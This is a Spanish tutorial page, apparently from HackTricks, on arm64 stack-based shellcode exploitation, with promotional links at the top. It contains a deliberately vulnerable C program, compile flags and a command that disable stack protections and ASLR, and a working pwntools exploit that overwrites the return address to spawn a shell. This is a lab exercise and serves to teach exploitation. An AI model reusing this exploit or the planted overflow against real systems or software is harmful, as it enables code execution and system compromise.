3 KiB
Shellcode de pila - arm64
Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Encuentra una introducción a arm64 en:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
Código
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilar sin pie, canary y nx:
{% code overflow="wrap" %}
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
Sin ASLR y sin canary - Desbordamiento de pila
Para desactivar ASLR ejecuta:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Para obtener el desplazamiento de la desbordamiento de búfer, revisa este enlace.
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
Lo único "complicado" de encontrar aquí sería la dirección en la pila para llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego al explotarlo no funcionó (porque la dirección de la pila cambió un poco).
Abrí el archivo core
generado (gdb ./bog ./core
) y verifiqué la dirección real del inicio del shellcode.